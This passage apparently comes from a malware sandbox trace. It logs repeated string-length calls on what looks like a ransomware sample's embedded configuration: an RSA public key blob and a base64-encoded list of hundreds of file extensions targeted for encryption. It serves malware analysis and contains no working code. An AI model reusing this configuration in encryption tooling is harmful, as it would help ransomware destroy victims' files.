CwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.466] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.466] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.466] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.466] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLm